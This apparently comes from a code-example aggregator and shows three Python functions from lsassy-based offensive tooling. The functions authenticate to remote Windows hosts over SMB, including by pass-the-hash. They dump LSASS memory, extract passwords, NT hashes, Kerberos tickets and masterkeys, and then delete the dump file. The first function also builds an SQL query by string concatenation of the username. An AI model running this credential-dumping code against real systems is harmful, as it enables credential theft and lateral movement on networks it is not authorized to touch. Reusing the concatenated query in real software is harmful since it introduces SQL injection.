Exemplo n.º 1
0
 def run_lsassy(
     self, context, connection
 ):  # Couldn't figure out how to properly retrieve output from the module without editing. Blatantly ripped from lsassy_dump.py. Thanks pixis - @hackanddo!
     logger.init(quiet=True)
     host = connection.host
     domain_name = connection.domain
     username = connection.username
     password = getattr(connection, "password", "")
     lmhash = getattr(connection, "lmhash", "")
     nthash = getattr(connection, "nthash", "")
     session = Session()
     session.get_session(address=host,
                         target_ip=host,
                         port=445,
                         lmhash=lmhash,
                         nthash=nthash,
                         username=username,
                         password=password,
                         domain=domain_name)
     if session.smb_session is None:
         context.log.error(
             "Couldn't connect to remote host. Password likely expired/changed. Removing from DB."
         )
         cursor.execute(
             "UPDATE admin_users SET hash = NULL WHERE username LIKE '" +
             username + "'")
         return False
     dumper = Dumper(session, timeout=10,
                     time_between_commands=7).load(self.method)
     if dumper is None:
         context.log.error("Unable to load dump method '{}'".format(
             self.method))
         return False
     file = dumper.dump()
     if file is None:
         context.log.error("Unable to dump lsass")
         return False
     credentials, tickets, masterkeys = Parser(file).parse()
     file.close()
     ImpacketFile.delete(session, file.get_file_path())
     if credentials is None:
         credentials = []
     credentials = [
         cred.get_object() for cred in credentials
         if not cred.get_username().endswith("$")
     ]
     credentials_unique = []
     credentials_output = []
     for cred in credentials:
         if [
                 cred["domain"], cred["username"], cred["password"],
                 cred["lmhash"], cred["nthash"]
         ] not in credentials_unique:
             credentials_unique.append([
                 cred["domain"], cred["username"], cred["password"],
                 cred["lmhash"], cred["nthash"]
             ])
             credentials_output.append(cred)
     global credentials_data
     credentials_data = credentials_output
Exemplo n.º 2
0
    def on_admin_login(self, context, connection):
        logger.init(quiet=True)
        host = connection.host
        domain_name = connection.domain
        username = connection.username
        password = getattr(connection, "password", "")
        lmhash = getattr(connection, "lmhash", "")
        nthash = getattr(connection, "nthash", "")

        session = Session()
        session.get_session(address=host,
                            target_ip=host,
                            port=445,
                            lmhash=lmhash,
                            nthash=nthash,
                            username=username,
                            password=password,
                            domain=domain_name)

        if session.smb_session is None:
            context.log.error("Couldn't connect to remote host")
            return False

        dumper = Dumper(session, timeout=10).load(self.method)
        if dumper is None:
            context.log.error("Unable to load dump method '{}'".format(
                self.method))
            return False
        file = dumper.dump()
        if file is None:
            context.log.error("Unable to dump lsass")
            return False

        credentials, tickets = Parser(file).parse()
        file.close()
        ImpacketFile.delete(session, file.get_file_path())
        if credentials is None:
            credentials = []
        credentials = [
            cred.get_object() for cred in credentials
            if not cred.get_username().endswith("$")
        ]
        credentials_unique = []
        credentials_output = []
        for cred in credentials:
            if [
                    cred["domain"], cred["username"], cred["password"],
                    cred["lmhash"], cred["nthash"]
            ] not in credentials_unique:
                credentials_unique.append([
                    cred["domain"], cred["username"], cred["password"],
                    cred["lmhash"], cred["nthash"]
                ])
                credentials_output.append(cred)
        self.process_credentials(context, connection, credentials_output)
Exemplo n.º 3
0
    def run(self):
        """
        Main method to dump credentials on a remote host
        """
        session, file, dumper, method = None, None, None, None

        # Credential parsing
        username = self.args.username if self.args.username else ""
        password = self.args.password if self.args.password else ""

        lmhash, nthash = "", ""
        if not password and self.args.hashes:
            if ":" in self.args.hashes:
                lmhash, nthash = self.args.hashes.split(":")
            else:
                lmhash, nthash = 'aad3b435b51404eeaad3b435b51404ee', self.args.hashes

        # Exec methods parsing
        exec_methods = self.args.exec.split(",") if self.args.exec else None

        # Dump modules options parsing
        options = {
            v.split("=")[0]: v.split("=")[1]
            for v in self.args.options.split(",")
        } if self.args.options else {}

        # Dump path checks
        dump_path = self.args.dump_path
        if dump_path:
            dump_path = dump_path.replace('/', '\\')
            if len(dump_path) > 1 and dump_path[1] == ":":
                if dump_path[0] != "C":
                    logging.error(
                        "Drive '{}' is not supported. 'C' drive only.".format(
                            dump_path[0]))
                    return False
                dump_path = dump_path[2:]
            if dump_path[-1] != "\\":
                dump_path += "\\"

        parse_only = self.args.parse_only
        kerberos_dir = self.args.kerberos_dir

        if parse_only and (dump_path is None or self.args.dump_name is None):
            logging.error(
                "--dump-path and --dump-name required for --parse-only option")
            return False

        try:
            session = Session()
            session.get_session(address=self.target,
                                target_ip=self.target,
                                port=self.args.port,
                                lmhash=lmhash,
                                nthash=nthash,
                                username=username,
                                password=password,
                                domain=self.args.domain,
                                aesKey=self.args.aesKey,
                                dc_ip=self.args.dc_ip,
                                kerberos=self.args.kerberos,
                                timeout=self.args.timeout)

            if session.smb_session is None:
                logging.error("Couldn't connect to remote host")
                return False

            if not parse_only:
                dumper = Dumper(session,
                                self.args.timeout).load(self.args.dump_method)
                if dumper is None:
                    logging.error("Unable to load dump module")
                    return False

                file = dumper.dump(no_powershell=self.args.no_powershell,
                                   exec_methods=exec_methods,
                                   dump_path=dump_path,
                                   dump_name=self.args.dump_name,
                                   timeout=self.args.timeout,
                                   **options)
                if file is None:
                    logging.error("Unable to dump lsass.")
                    return False
            else:
                file = ImpacketFile(session).open(share="C$",
                                                  path=dump_path,
                                                  file=self.args.dump_name,
                                                  timeout=self.args.timeout)
                if file is None:
                    logging.error("Unable to open lsass dump.")
                    return False

            credentials, tickets = Parser(file).parse()
            file.close()

            if not parse_only:
                ImpacketFile.delete(session,
                                    file.get_file_path(),
                                    timeout=self.args.timeout)
                logging.success("Lsass dump successfully deleted")
            else:
                logging.debug(
                    "Not deleting lsass dump as --parse-only was provided")

            if credentials is None:
                logging.error(
                    "Unable to extract credentials from lsass. Cleaning.")
                return False

            with lock:
                Writer(credentials,
                       tickets).write(self.args.format,
                                      output_file=self.args.outfile,
                                      quiet=self.args.quiet,
                                      users_only=self.args.users,
                                      kerberos_dir=kerberos_dir)

        except KeyboardInterrupt:
            pass
        except Exception as e:
            logging.error("An unknown error has occurred.", exc_info=True)
        finally:
            logging.debug("Cleaning...")
            logging.debug("dumper: {}".format(dumper))
            logging.debug("file: {}".format(file))
            logging.debug("session: {}".format(session))
            try:
                dumper.clean()
                logging.debug("Dumper cleaned")
            except Exception as e:
                logging.debug(
                    "Potential issue while cleaning dumper: {}".format(str(e)))

            try:
                file.close()
                logging.debug("File closed")
            except Exception as e:
                logging.debug("Potential issue while closing file: {}".format(
                    str(e)))

            if not parse_only:
                try:
                    if ImpacketFile.delete(session,
                                           file_path=file.get_file_path(),
                                           timeout=self.args.timeout):
                        logging.debug("Lsass dump successfully deleted")
                except Exception as e:
                    try:
                        logging.debug(
                            "Couldn't delete lsass dump using file. Trying dump object..."
                        )
                        if ImpacketFile.delete(session,
                                               file_path=dumper.dump_path +
                                               dumper.dump_name,
                                               timeout=self.args.timeout):
                            logging.debug("Lsass dump successfully deleted")
                    except Exception as e:
                        logging.debug(
                            "Potential issue while deleting lsass dump: {}".
                            format(str(e)))

            try:
                session.smb_session.close()
                logging.debug("SMB session closed")
            except Exception as e:
                logging.debug(
                    "Potential issue while closing SMB session: {}".format(
                        str(e)))